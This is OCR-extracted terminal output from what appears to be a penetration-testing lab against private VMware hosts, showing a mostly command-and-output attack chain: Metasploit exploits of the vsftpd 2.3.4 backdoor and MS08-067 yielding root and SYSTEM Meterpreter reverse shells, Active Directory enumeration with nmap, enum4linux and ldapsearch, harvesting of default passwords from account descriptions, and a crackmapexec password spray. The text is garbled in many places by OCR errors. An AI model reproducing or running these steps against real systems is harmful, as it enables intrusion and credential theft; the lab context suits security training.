/1__ /[ Metasploit! \
A\ \ /
metasploit v6.4.116-dev 1
2,623 exploits - 1,326 auxiliary - 1,710 payloads 1
+ — —=[ 432 post - 49 encoders - 14 nops - 10 evasion 1

Metasploit Documentation: https://docs.metasploit.con/
The Metasploit Framework is a Rapid7 Open Source Project

msf >
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nsf > search vsftpd

Matching Modules

Name

he i n

auxiliary/dos/ftp
exploit/unix/ftp/]

(e

234_backdoor

232

root@lali:

Disclosure Date Rank Check Description
2011-02-03 normal Yes 2.3.2 Denial of Service
2011-07-03 excellent Yes v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd 234 backdoor

msf > use 1

[*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp
msE explodt(uiix/f1p/Ustipd 234 backdoor) > show options

Module options (exploit/unix/ftp/vsftpd 234 backdoor):

The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

Name  Current Setting Required Description
RHOSTS yes
RPORT 21 yes

The target port (TCP)

Payload options (cmd/linux/http/x86/meterpreter_reverse_tcp):

Name

Current Setting Required Description

FETCH_COMMAND
FETCH_DELETE
FETCH_FILELESS.

FETCH_SRVHOST
FETCH_SRVPORT
FETCH_URIPATH
LHOST
LPORT

CURL
false
none

8080

444t

yes
yes
yes

no
yes
no

yes
yes

Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)

Attempt to delete the binary after execution

Attempt to run payload without touching disk by using anonymous handles, requires Linux 23.17 (for Python variant a
3.8+, shell-search, shell)

Local TP to use for serving payload

Local port to use for serving payload

Local URT to use for serving payload

The listen address (an interface may be specified)

The listen port
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View the full module info with the info, or info -d command.

msf exploit(unin/(1p/usitnd 234 hackidoor) > set RHOSTS 192.168.62.129
RHOSTS = 192.168.62.120

msf exploit(ui /[ 1p/vsitpd 234 hackidoor) > set LHOST 192.168.62.128
LHOST = 192.168.62.128

nsf exploit(unix/ftp/vsftpd_234_backdoor) > run
[+] started reverse TCP handler on 192.168.62.12:
[+] 192.168.62.129:21 - Backdoor has been spawned!

[+] Meterpreter session 1 opened (192.168.62.128:4444 — 192.168.62.129:60182) at 2026-04-18 02:08:03 -0400

444

neterpreter > Il
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meterpreter >
meterpreter > ls

Listing: /

Mode size  Type Last modified Name
100700/ rux 1188612 Fil  2026-04-18 0400 TyKENKZTPK
040755/rwxr-xr-x 4096 dir  2012-05-13 0400 bin
040755/rwxr-xr-x 1024 dir  2012-05-13 8 -0400 boot
040755/rwxr-xr-x 4096 dir  2010-03-16 -0400 cdrom
040755/rwxr-xr-x 13820 dir  2026-04-18 0400 dev
100700/ rwx 1188612 Fil  2026-04-14 0400 eIQxsHICm
040755/rwxr-xr-x 4096 dir  2026-04-18 0400 etc
100644/rw-r—1— 0 Fil  2026-03-12 -0400 gga
040755/rwxr-xr-x 4096  dir  2010-04-16 0400 home
040755/rwxr-xr-x 4096 dir  2010-03-16 -0400 initrd
100644/rw-r—r— 7929183 fil  2012-05-13 -0400 initrd.img
040755/rwxr-xr-x 4096 dir  2012-05-13 -0400 1ib
040700/ rux 16384 dir  2010-03-16 -0400 lost+found
040755/rwxr-xr-x 4096  dir  2010-03-16 -0400 media
040755/rwxr-xr-x 4096 dir  2010-04-28 0400 mnt
100600/rw—— 73595  fil  2026-04-18 0400 nohup.out
100644/rw-r—1— 0 Fil  2024-05-16 -0400 o
040755/rwxr-xr-x 4096  dir  2010-03-16 -0400 opt
040555/r-Xr-Xr-X 0 dir  2026-04-18 -0400 proc
040755/rwxr-xr-x 4096 dir  2026-04-18 -0400 root
040755/rwxr-xr-x 4096 dir  2012-05-13 -0400 sbin
040755/rwxr-xr-x 4096  dir  2010-03-16 -0400 srv
040755/Twxr-XT-X 0 dir  2026-04-18 0400 sys
041777/rwxrwxrwx 4096 dir  2026-04-18 0400 tmp
040755/rwxr-xr-x 4096 dir  2010-04-28 0400 usr
040755/rwxr-xr-x 4096 dir  2010-03-17 1 var
100644/rw-r—r— 1987288 fil  2008-04-10 12: vnlinuz

meterpreter > getuid

Server username:
neterpreter > I

root
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meterpreter > getuid

Server username: root

meterpreter > download vmlinuz /home/root/vmlinux

[*] Downloading: vmlinuz — /home/root/vmlinux/vmlinuz

[*] Downloaded 1.00 MiB of 1.90 MiB (52.76%): vmlinuz —> /home/root/vmlinux/vmlinuz

[*] Downloaded 1.96 MiB of 1.90 MiB (100.0%): vmlinuz — /home/root/vmlinux/vmlinuz
[*] completed vmlinuz — /home/root/vmlinux/vmlinuz
meterpreter > ||
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E(root‘skali)—[-]

4 sudo nmap -sC -sV 192.168.62.131

Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-18 03:39 -0400
Nmap scan report for 192.168.62.131

Host is up (0.00066s latency).

Not shown: 988 closed tcp ports (reset)

PORT  STATE SERVICE VERSION
53/tcp  open domain simple DNS Plus

88/tcp  open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-18 07:39:41Z)

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn  Microsoft Windows netbios-ssn

389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: abcd.local, Site: Default-First-Site-Name)

445/tcp open microsoft-ds?
464/tcp open  kpasswds?
593/tcp open ncacn_http  Microsoft Windows RPC over HTTP 1.0

636/tcp open tcpwrapped

3268/tcp open 1dap Microsoft Windows Active Directory LDAP (Domain:
3269/tcp open tcpwrapped

5985/tcp open http Microsoft HTTPAPT httpd 2.0 (SSDP/UPNP)
I_http-title: Not Found

|_http-server-header: Microsoft-HTTPAPI/2.0

MAC Address: 00:0C:29:4E:E6:31 (VMware)

Service Info: Host: WIN-GINHS6PROQP; 0S: Windows; CPE: cpe:

abcd.local, Site: Default-First-Site-Name)

:microsoft :windous

Host script results:
|_nbstat: NetBIOS name:
1 smb2-time:

| date: 2026-04-18T07:39:41

I_ start_date: N/A

I clock-skew: 35

| smb2-security-mode:

I 3.1.1:

I_ Message signing enabled and required

WIN-GINH8G6PRIQP, NetBIOS user: <unknown>, NetBIOS MAC: @0:0c:29:4e:e6:31 (VMware)

Service detection performed. Please report any incorrect results at https:
Nmap done: 1 IP address (1 host up) scanned in 22.75 seconds

’:'(ioot‘s kali)-[~]
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lf( root® kali)-[~]
#

enumélinux -a 192.168.62.131

Starting enumlinux v0.9.1 ( http://labs.portcullis.co.uk/application/enunlinux/ ) on Sat Apr 18 03:

( Target

Target 192.168.62.131
RID Range . 500-550,1000-1050
Username .
Password .

Known Usernames.

[+] Got domain/workgroup name: ABCD

Looking up status of 192.168.

WIN-GINHSEPROQP <00>

ABCD. <00>
ABCD. <1c>
ABCD. <1b>

WIN-GINHSEPROQP <20>

62.131

M <ACTIVE>
<GROUP> M <ACTIVE>
<GROUP> M <ACTIVE>
M <ACTIVE>
M <ACTIVE>

MAC Address = 00-0C-29-4E-E6-31

[+] Server 192.168.62.131 allows sessions using username *

Domain Name: abcd

Session Check

root@lali: ~

Information )

administrator, guest, krbtgt, domain admins, root, bin, none

( Enumerating Workgroup/Domain on 192.168.62.131 )

( Nbtstat Information for 192.168.62.131 )

Workstation Service
Domain/Workgroup Name
Domain Controllers
Domain Master Browser
File Server Service

on 192.168.62.131 )

. password

( Getting domain SID for 192.168.62.131 )

Domain Sid: S-1-5-21-1074268895-3080266123-4058681963

[+] Host is part of a domain (not a workgroup)

( 05 information on 192.168.62.131 )
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’j( root® kali)-[~]
4 ldapsearch -x -H 1dap://192.168.62.131 -b "D
extended LDIF

abcd, DC=local”

#
#
# LDAPV3
# base <DC=abcd,DC=local> with scope subtree
#
#
#

filter: (objectclass=x)
requesting: ALL

# abcd.local
dn: DC=abcd,DC=local
objectClass: top
objectClass: domain
objectClass: domainDNs
distinguishedName: DC=abcd,DC=local
instanceType: 5

whenCreated: 20260418072300.0Z
whenChanged: 20260418073328.0Z

: DC=DomainDnsZones,DC=abcd, DC=local
CN=Configuration,DC=abcd, DC=local
usNCreated: 4099

usNChanged: 16389

name: abcd

objectGUID:: hObezPVVVE2PYmZY4T38CE=
creationTime: 134209712083006120
forcelogoff: -9223372036854775808
TlockoutDuration: -6000000000
TlockoutObservationWindow: -6000000000
TockoutThreshold: 0

maxPudAge: -36288000000000

minPudAge: -864000000000

minPudLength: 7

modifiedCountAtLastPron: 0

nextRid: 1001

pudPropertie:
pudHistoryLength: 24

objectSid:: AQAAAAAAAUVAAAA3WOTQIshmbdrkurx
serverstate: 1

uAsCompat: 1

modifiedCount: 1

auditingPolicy
nTMixedDomai

1

AAE=

0
rIDManagerReference: CN=RID Managers$,CN=System,DC=abcd,DC=local

CN=NTDS Settings,C
-Site-Name,CN=Sites,CN=Configuration,DC=abcd, DC=local

IN-GINH8GPRIQP, CN=Servers, CN=Default-First

root@lali: ~
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codepage: 0
countryCode: 0
badPasswordTime: 0

lastLogoff: 0
lastLogon: 0
pudLastset: 0

primaryGroupID: 514
objectSid:: AQUAAAAAAAUVAAAA3WOTQTshmbdrkurx9QEAAA=
accountExpires: 9223372036854775807

TogonCount: 0
SAMACCountName: Guest
SAMACCOuntType: 805306368
objectCategory: CN=Person, Cl
isCriticalSystemObject: TRUE
dsCorePropagationData: 20260418073215.0Z
dsCorePropagationData: 20260418072416.0Z
dsCorePropagationData: 16010101000417.0Z
lastLogonTimestamp: 134209717339734225

chema, CN=Configuration, DC=abcd, DC=local

# user, Users, abcd.local
dn: CN=user,CN=Users,DC=abcd, DC=local

# krbtgt, Users, abcd.local
dn: CN=krbtgt, CN=Users, DC=abcd, DC=local

# Domain Computers, Users, abcd.local
dn: CN=Domain Computers,CN=Users,DC=abcd,DC=local

objectClass: top

objectClass: group

cn: Domain Computers

description: ALl workstations and servers joined to the domain
distinguishedName: CN=Domain Computers,CN=Users,DC=abcd,DC=local
instanceType: &

whenCreated: 20260418072415.0Z

whenChanged: 20260418072415.0Z

usNCreated: 12330

usNChanged: 12332

name: Domain Computers

objectGUID:: uMW1WICzjacaXL7wLnpZg=

objectSid:: AQUAAAAAAAUVAAAA3WOTQIShmbdrkurxAWIAAA:
SAMACCountName: Domain Computers

SAMACCOUNtType: 268435456

groupType: -2147483646

objectCategory: CN=Group,CN=Schema, CN=Configuration,DC=abcd,DC=local
isCriticalSystemObject: TRUE

dsCorePropagationData: 20260418073215.0Z

dsCorePropagationData: 20260418072416.0Z

dsCorePropagationData: 16010101000417.0Z
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dsCorePropagationData: 20260418073215.0Z
dsCorePropagationData: 20260418073114.0Z
dsCorePropagationData: 20260418073114.0Z
dsCorePropagationData: 20260418073114.0Z
dsCorePropagationData: 16010101000001.0Z

# IT Admins, Users, abcd.local
dn: CN=IT Admins, CN=Users, DC=abcd, DC=Tocal

# Executives, Users, abcd.local
dn: CN=Executives,CN=Users,DC=abcd,DC=local
objectClass: top

objectClass: group

cn: Executives

member: CN=Angela Lemar,CN=Users,DC=abcd, DC=local

member: CN=Kettie Nancey,CN=Users,DC=abcd,DC=local
member: CN=Brenn Brittaney,CN=Users,DC=abcd,DC

member: CN=Adrienne Jeanne,CN=Users,DC=abcd,DC=local
member: CN=Drucill Geraldine,CN=Users,DC=abcd,DC=local
member: CN=Faith Gerianne,Cl

distinguishedName: CN=Executives,CN=Users,DC=abcd,DC=local
instanceType: &

whenCreated: 20260418073103.0Z

whenChanged: 20260418073114.0Z

usNCreated: 13391
usNChanged: 13747
name: Executives
objectGUID:: mhtZBwpbilqokhgnB+61vg=

objectSid:: AQUAAAAAAAUVAAAA3WOTQIShmbdrkurxtgQAAA=
SAMACCountName: Executives

SAMACCOUNtType: 268435456

groupType: -2147483646

objectCategory: CN=Group,CN=Schema, CN=Configuration,DC=abcd,DC=local
dsCorePropagationData: 20260418073215.0Z

dsCorePropagationData: 20260418073114.0Z

dsCorePropagationData: 20260418073114.0Z

dsCorePropagationData: 16010101000001.0Z

e




image31.png
BERPO- 25 [0 m

Session Actions Edit View Help
dsCorePropagationData: 20260418073215.0Z
dsCorePropagationData: 16010101000001.0Z

# Marketing, Users, abcd.local
dn: CN=Marketing,CN=Users,DC=abcd, DC=local

objectClass: top
objectClass: group

cn: Marketing

member: CN=Sunny Concettina,CN=Users,DC=abcd,DC=local
member: CN=Myrtia Hanni,CN=Users,DC=abcd,DC=local
member: CN=Lars Stacey,Cl

member: CN=Daisey Pris,cl

member: CN=Clea Cthrine,CN=Users,DC=abcd,DC=local
member: CN=Inna Johnna,Cl

member: CN=Revkah Minny,CN=Users,DC=abcd, DC:

member: CN=Glori Betsy,CN=Users,DC=abcd,DC=local
member: CN=Jessy Sallyanne,CN=Users,DC=abcd,DC=local
member: CN=Carlee Riane,CN=Users,DC=abcd,DC=local
member: CN=Ettie Mirabel,CN=Users,DC=abcd,DC=local
member: CN=Karole Bessy,CN=Users,DC=abcd,DC=local
member: CN=Ashley Madelene,CN=Users,DC=abcd,DC=local
member: CN=Layney Deane,CN=Users,DC=abcd, DC=local
member: CN=Ninnette Evaleen,CN=Users,DC=abcd,DC=local
member: CN=Mavis Marjorie,CN=Users,DC=abcd,DC=local
member: CN=Lucila Katie,CN=Users,DC=abcd,DC=local
member: CN=Ky Shirlee,CN=Users,DC=abcd,DC=local

distinguishedName: CN=Marketing,C
instanceType: &

whenCreated: 20260418073106.0Z
whenChanged: 20260418073114.0Z
usNCreated: 13510

sers, DC=abcd, DC=Tocal

usNChanged: 13750
name: Marketing
objectGUID:: 9eHA09gY+UahoYx0okebXA=

objectsid:: AQUAAAAAAAUVAAAA3WOTQIShmbdrkurxugQAAA=
SAMACCountName: Marketing

SAMACCOUNtType: 268435456

groupType: -2147483646

objectCategory: CN=Group,CN=Schema, CN=Configuration,DC=abcd,DC=local
dsCorePropagationData: 20260418073215.0Z

dsCorePropagationData: 20260418073114.0Z

dsCorePropagationData: 16010101000001.0Z
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’j( root® kali)-[~]
4 1dapsearch -x -H 1dap://192.168.62.131 -b "DC=abcd,DC=local® sAMAccountName | grep sAMAccountName | awk ‘{print $2}' > users.txt

’j( root® kali)-[~]
/ cat users.txt
requestin,
Guest
Domain
cert
Domain
Domain
Group
RAS
Allowed
Denied
Enterprise
Cloneable
Protected
DnsAdmins
DnsUpdateProxy
janis.dalila
sarita.dori
emmeline.doralin
cherianne. rosanna
aveline.elianora
ky.shirlee
peggie.oralla
shantee.petronilla
lucila.katie
hestia.linnea
lief.mathilde
Toren.geneva
Tivvyy.benedikta
mavis.marjorie
ninnette. evaleen
callida.maia
Kleon.liz
adah.benoite
layney.deane
marina.damara
phillida.ariel
didi.ardath
andriette.lillian
meggy.michaeline
glad.gretel
roze.Tock
betteann.gusta
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’j( root® kali)-[~]
4 ldapsearch —x -H lda
# requesting: description

/192.168.62.131 -b "D

bed,DC=local” description | grep -i description

descriotion: Company default password(Reset ASAP)

descrintion: ALL workstations and servers joined to the domain

Gescrintion: Members of this group are permitted to publish certificates to th
descrintion: ALl domain users

descrintion: ALl domain guests

descrintion: Members in this group can modify group policy for the domain
descrintion: servers in this group can access remote access properties of user
descrintion: DNS Admin

escrintion: Members in this group can have their passwords replicated to all
Gescrintion: Members in this group cannot have their passwords replicated to a
Gescrintion: New user generated password: Y)BN;me

Jescrintion: Members of this group are Read-Only Domain Controllers in the ent
Gescrintion: Members of this group that are domain controllers may be cloned.
Gescrintion: Members of this group are afforded additional protections against
descrintion: Company default password(Reset ASAP)

descrintion: DNS Administrators Group

descrintion: DNS clients who are permitted to perform dynamic updates on behal
descrintion: Company default password(Reset ASAP)

Gescrintion: New user generated password: t'nw:oG

descrintion: DNS Admin

descrintion: Company default password(Reset ASAP)

descrintion: Company default password(Reset ASAP)

descrintion: New user generated password: ;150 0Z

description
description:

Built-in account for guest access to the computer/domain
Company default password(Reset ASAP)
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- sudo nano passwords.txt

’j( root® kali)-[~]
4 ldapsearch —x -H 1dap://192.168.62.131 -b "DC=abcd,DC=local” servicePrincipalName
extended LDIF

#
#
# LDAPV3
# base <DC=abcd,DC=local> with scope subtree
#
#
#

filter: (objectclass=x)
requesting: servicePrincipalName

# abcd.local
dn: DC=abcd,DC=local

# Rycca Patti, Users, abcd.local
dn: CN=Rycca Patti,CN=Users,DC=abcd,DC=local

# Lock Emili, Users, abcd.local
dn: CN=Lock Emili,CN=Users,DC=abcd,DC=local

# Brenn Brittaney, Users, abcd.local
dn: CN=Brenn Brittaney, CN=Users,DC=abcd,DC=local

# Daisey Pris, Users, abcd.local
dn: CN=Daisey Pris,CN=Users,DC=abcd,DC=local

# Lars Stacey, Users, abcd.local
dn: Ch=Lars Stacey,CN=Users,DC=abcd,DC=local

# Aubree Roanne, Users, abcd.local
dn: CN=Aubree Roanne,CN=Users,DC=abcd,DC=local

# Myrtia Hanni, Users, abcd.local
dn: CN=Myrtia Hanni,CN=Users,DC=abcd,DC=local

# Elinor Luca, Users, abcd.local
dn: CN=Elinor Luca,CN=Users,DC=abcd,DC=local

# Johnna Simone, Users, abcd.local
dn: CN=Johnna Simone,CN=Users,DC=abcd,DC=local

# Kettie Nancey, Users, abcd.local
dn: CN=Kettie Nancey,CN=Users,DC=abcd,DC=local

# Leda Lyndsay, Users, abcd.local
dn: CN=Leda Lyndsay,CN=Users,DC=abcd,DC=local
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E(root@kali)—[-]
4 crackmapexec smb 192.168.62.131 -u Users.txt —p passwords.txt —continue-on-success

SMB 192.168.62.131 445 WIN-GINH86PRIQP [*] Windows 10 / Server 2019 Build 17763 x64 (name:WIN-GINH86PR9QP) (domain:abcd.local) (signing:True) (SMBv1:False)
SMB 192.168.62.131 445 WIN-GINH86PRIQP [+] abcd.local\requesting::;150_0Z
SMB 192.168.62.131 445 WIN-GINH86PRIQP [+] abcd.local\requesting::Y)BN;me
SMB 192.168.62.131 445 WIN-GINH86PROQP [+] abcd.local\requesting::t*nw:oG
SMB 192.168.62.131 445  WIN-GINH86PRIQP | | abcd.local\Guest:;150_0Z STATUS_LOGON_FAILURE
SMB 192.168.62.131 445  WIN-GINH86PR9QP | | abcd.local\Guest:Y)BNjme STATUS_LOGON_FAILURE
SMB 192.168.62.131 445  WIN-GINH86PR9QP | abcd.local\Guest:t“nw:oG STATUS_LOGON_FAILURE
SMB 192.168.62.131 445  WIN-GINH86PRIQP [+] abcd.local\Domain:;150_0Z

SMB 192.168.62.131 445  WIN-GINH86PRIQP [+] abcd.local\Domain:Y)BN;me

SMB 192.168.62.131 445  WIN-GINH86PRIQP [+] abcd.local\Domain:t”nw:oG

SMB 192.168.62.131 445  WIN-GINH6PRIQP [+] abcd.local\Cert:;150_0Z

SMB 192.168.62.131 445  WIN-GINH6PRIQP [+] abcd.local\Cert:Y)BN;me

SMB 192.168.62.131 445  WIN-GINH86PRIQP [+] abcd.local\Cert:t"nw:o6

SMB 192.168.62.131 445  WIN-GINH86PRIQP [+] abcd.local\Domain:;150_0Z

SMB 192.168.62.131 445  WIN-GINH86PRIQP [+] abcd.local\Domain:Y)BN;me

SMB 192.168.62.131 445  WIN-GINH86PRIQP [+] abcd.local\Domain:t”nw:oG

SMB 192.168.62.131 445  WIN-GINH86PRIQP [+] abcd.local\Domain:;150_0Z

SMB 192.168.62.131 445  WIN-GINH86PRIQP [+] abcd.local\Domain:Y)BN;me

SMB 192.168.62.131 445  WIN-GINH86PRIQP [+] abcd.local\Domain:t”nw:oG

SMB 192.168.62.131 445  WIN-GINH86PRIQP [+] abcd.local\Group:;150_0Z

SMB 192.168.62.131 445  WIN-GINH86PRIQP [+] abcd.local\Group:Y)BN;me

SMB 192.168.62.131 445  WIN-GINH86PRIQP [+] abcd.local\Group:t*nu:oG

SMB 192.168.62.131 445  WIN-GINHS6PRIQP [+] abcd.local\RAS:;150_0Z

SMB 192.168.62.131 445  WIN-GINHS6PRIQP [+] abcd.local\RAS:Y)BN;me

SMB 192.168.62.131 445  WIN-GINH86PRIQP [+] abcd.local\RAS:t"nw:oG

SMB 192.168.62.131 445  WIN-GINH86PRIQP [+] abcd.local\Allowed:;150_0Z

SMB 192.168.62.131 445  WIN-GINH86PRIQP [+] abcd.local\Allowed:Y)BN;me

SMB 192.168.62.131 445  WIN-GINH86PRIQP [+] abcd.local\Allowed:t"nw:o6

SMB 192.168.62.131 445  WIN-GINH86PRIQP [+] abcd.local\Denied:;150_0Z

SMB 192.168.62.131 445  WIN-GINH86PRIQP [+] abcd.local\Denied:Y)BN;me

SMB 192.168.62.131 445  WIN-GINH86PRIQP [+] abcd.local\Denied:t"nw:oG

SMB 192.168.62.131 445 WIN-GINH86PRIQP [+] abcd.local\Enterprise:;150_0Z
SMB 192.168.62.131 445 WIN-GINH86PRIQP [+] abcd.local\Enterprise:Y)BN;me
SMB 192.168.62.131 445 WIN-GINH86PRIQP [+] abcd.local\Enterprise:t”nw:oG
SMB 192.168.62.131 445  WIN-GINH86PRIQP [+] abcd.local\Cloneable:;150_0Z

SMB 192.168.62.131 445  WIN-GINH86PRIQP [+] abcd.local\Cloneable:Y)BN;me

SMB 192.168.62.131 445  WIN-GINH6PRIQP [+] abcd.local\Cloneable:t"nw:oG

SMB 192.168.62.131 445  WIN-GINH86PRIQP [+] abcd.local\Protected:;150_0Z

SMB 192.168.62.131 445  WIN-GINH86PRIQP [+] abcd.local\Protected:Y)BN;me

SMB 192.168.62.131 445  WIN-GINH6PRIQP [+] abcd.local\Protected:t”nw:oG

SMB 192.168.62.131 445  WIN-GINH86PRIQP [+] abcd.local\DnsAdmins:;150_0Z

SMB 192.168.62.131 445  WIN-GINH86PRIQP [+] abcd.local\DnsAdmins:Y)BN;me

SMB 192.168.62.131 445  WIN-GINH86PRIQP [+] abcd.local\DnsAdmins:t”nw:oG

SMB 192.168.62.131 445 WIN-GINH86PRIQP [+] abcd.local\DnsUpdateProxy:;150_0Z
SMB 192.168.62.131 445 WIN-GINH86PRIQP [+] abcd.local\DnsUpdateProxy:Y)BN;me
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abcd.local\fernandina. cary:t"nw:0G STATUS_LOGON_FATLURE
abcd.local\ettie.mirabel:;150_0Z STATUS_PASSWORD_MUST_CHANGE
abcd.local\ettie.mirabel:Y)BN;me STATUS_LOGON_FAILURE
abcd.local\ettie.mirabel:t"nw:06 STATUS_LOGON_FAILURE
abcd.Tocal\jany.kayley:;150_0Z STATUS_LOGON_FAILURE
abcd.Tocal\jany.kayley:Y)BN;me STATUS_LOGON_FAILURE
abcd.Tocal\jany.kayley:t"nw:06 STATUS_LOGON_FATLURE
abcd.local\carlee. riane:;150_0Z STATUS_LOGON_FAILURE

abcd. local\carlee.riane:Y)BN;me STATUS_LOGON_FAILURE
abcd.local\carlee.riane:t"nw:0G STATUS_LOGON_FATLURE

abcd. local\babbie. jennee: ;150_0Z STATUS_LOGON_FAILURE
abcd.local\babbie. jennee:Y)BN;me STATUS_LOGON_FAILURE
abcd.local\babbie. jennee: t*nw:06 STATUS_LOGON_FAILURE
abcd.local\billie.shirl:;150_0Z STATUS_LOGON_FAILURE
abcd.local\billie.shirl:Y)BN;me STATUS_LOGON_FAILURE
abcd.local\billie.shirl:t"nw:0G STATUS_LOGON_FATLURE

abcd. local\miof:;150_0Z
abcd. local\miof:Y)BN;me
abcd.local\miof: t*nw:06
abcd.local\jodie. susanetta
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E(root@kali)—[-]

4 sudo nmap -sC -sV 192.168.62.136

Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-18 09:20 -0400
Nmap scan report for 192.168.62.136

Host is up (0.0012s latency).

Not shown: 997 closed tcp ports (reset)

PORT  STATE SERVICE VERSTON

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Windows XP microsoft-ds

MAC Address: 00:0C:29:6D:98:61 (VMware)

Service Info: 0Ss: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows xp

Host script results:
| smb-security-mode:
| account_used: guest
authentication_level: user
challenge_response: supported
message_signing: disabled (dangerous, but default)
smb-os-discovery:
05: Windows XP (Windows 2000 LAN Manager)
05 CPE: cpe:/o:microsoft:windows_xp
Computer name: user-76b62cb31d
NetBIOS computer name: USER-76B62CB31D\x00
Workgroup: WORKGROUP\x00
System time: 2026-04-18T18:50:34+05:30
|smb2-time: Protocol negotiation failed (SMB2)
| nbstat: NetBIOS name: USER-76B62CB31D, NetBIOS user: <unknown>, NetBIOS MA
Iclock-skew: mean: -2h44msSs, deviation: 3h53m20s, median: -5h29mS5s

00:0:29:6d:98:61 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.06 seconds

’:'(ioot@ kali)-[~]
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’j( root® kali)-[~]
4 msfconsole
Metasploit tip: Use the edit command to open the currently active module

in your editor

dBBBBBBh dBBBP dBBBBBBP dBBBBBb . o
*dB' BBP
dB'dB'dB’ dBBP dBp dBP BB
dB'dB'dB’ dBP dBp dBP BB

dB'dB'dB’ dBBBBP  dBP dBBBBBBB

dBEBEEP dBBBBBb dBP  dBBBBP dBP dBBBBBBP
dB' dBP  dB'.BP
dEP  dBBBB' dBP  dB'.BP dBP  dBP
deP  dBP  dBP  dB’.BP dBP  dBP
| dBEBEP dBP  dBBBBP dBBBBP dBP  dBP

° To boldly go where no
shell has gone before

=[ metasploit v6.4.116-dev
2,623 exploits - 1,326 auxiliary - 1,710 payloads 1
+ — —=[ 432 post - 49 encoders - 14 nops - 10 evasion 1

Metasploit Documentation: https://docs.metasploit.con/
The Metasploit Framework is a Rapid7 Open Source Project

nsf >

root@lali: ~
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73 \_ target: Windows 2003 SP2 French (NO NX)

74 \_ target: Windows 2003 SP2 French (NX)

75 \_ target: Windows 2003 SP2 Chinese - Simplified (NX)

76  \_ target: Windows 2003 SP2 Czech (NX)

77 \_ target: Windows 2003 SP2 Dutch (NX)

78  \_ target: Windows 2003 SP2 Hungarian (NX)

79 \_ target: Windows 2003 SP2 Italian (NX)

80\ target: Windows 2003 SP2 Russian (NX)

81 \_ target: Windows 2003 SP2 Swedish (NX)

82  \_ target: Windows 2003 SP2 Turkish (NX)
Interact with a module by name or index. For example info 82, use 82 or use exploit/windows/smb/ms08_067_netapi
After interacting with a module you can manually set a TARGET with set TARGET 'Windows 2003 SP2 Turkish (NX)'
nsf > use exploit/windows/smb/ms08_067_netapi
[+] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf exploit(iindons/Sib/i 08 057 netani) > show options
Module options (exploit/windows/smb/ms08_067_netapi):

Name  Current Setting Required Description

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT 445 yes The SMB service port (Tcp)

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
EXITFUNC  thread yes Exit technique (Accepted: '*, seh, thread, process, none)
LHOST  192.168.62.128  yes The listen address (an interface may be specified)

LPORT  4bbd yes The listen port

Exploit target:
Id  Name

0 Automatic Targeting

View the full module info with the info, or info -d command.

nsf exploit(windows/snb/ns08_067_netapi) > ll
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View the full module info with the info, or info -d command.

msf exploit(uindons/sib/ns08 057 netapi) > set RHOSTS 192.168.62.136
RHOSTS = 192.168.62.136

nsf exploit(windons/snb/ms08_067_netapi) > run
[+] Started reverse TCP handler on 192.168.62.128:4444
[*] 192.168.62.136:445 - Automatically detecting the target ...

/ust/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gens/recog-3.1.26/1ib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+'
*x' in regular expression

[*] 192.168.62.136:445 - Fingerprint: Windows XP - Service Pack 2 - lang:English

[*] 192.168.62.136:445 - Selected Target: Windows XP SP2 English (Alwayson NX)

[*] 192.168.62.136:445 - Attempting to trigger the vulnerability...

[+] Sending stage (190534 bytes) to 192.168.62.136

[*] Meterpreter session 1 opened (192.168.62.128:4464 —> 192.168.62.136:1036) at 2026-04-18 09:25:07 -0400

and ‘7' was replaced with

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
neterpreter > I
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[*] 192.168.62.136:445 - Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] 192.168.62.136:445 - Selected Target: Windows XP SP2 English (Alwayson NX)

[*] 192.168.62.136:445 - Attempting to trigger

[#] Sending stage (190534 bytes) to 192.168.62.

the vulnerability ...
136

[+] Meterpreter session 1 opened (192.168.62.128:4444 — 192.168.62.136:1036) at 2026-04-18 09:25:07 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > ps

Process List

PID  PPID Name Arch session User
o 0 [Systen Process]

4 o system x86 0 NT AUTHORITY\SYSTEM

172 672 VeAuthService.exe x86 0 NT AUTHORITY\SYSTEM

372 4 smss.exe x86 0 NT AUTHORITY\SYSTEM

468 672 vmtoolsd.exe x86 0 NT AUTHORITY\SYSTEM

604 372 csrss.exe x86 0 NT AUTHORITY\SYSTEM

628 372 winlogon.exe x86 0 NT AUTHORITY\SYSTEM

672 628 services.exe x86 0 NT AUTHORITY\SYSTEM

684 628 lsass.exe x86 0 NT AUTHORITY\SYSTEM

844 672  vmacthlp.exe x86 0 NT AUTHORITY\SYSTEM

876 672 svchost.exe x86 0 NT AUTHORITY\SYSTEM

888 876 wmiprvse.exe x86 0 NT AUTHORITY\NETWORK SERVICE
968 672  svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE
1108 672  svchost.exe x86 0 NT AUTHORITY\SYSTEM

1156 672  svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE
1204 672  svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE
1328 1584 rundll32.exe x86 0 USER-76862CB31D\Administrator
1340 1584 vmtoolsd.exe x86 0 USER-76862CB31D\Administrator
1444 672 alg.exe x86 0 NT AUTHORITY\LOCAL SERVICE
1560 1584 cmd.exe x86 0 USER-76862CB31D\Administrator
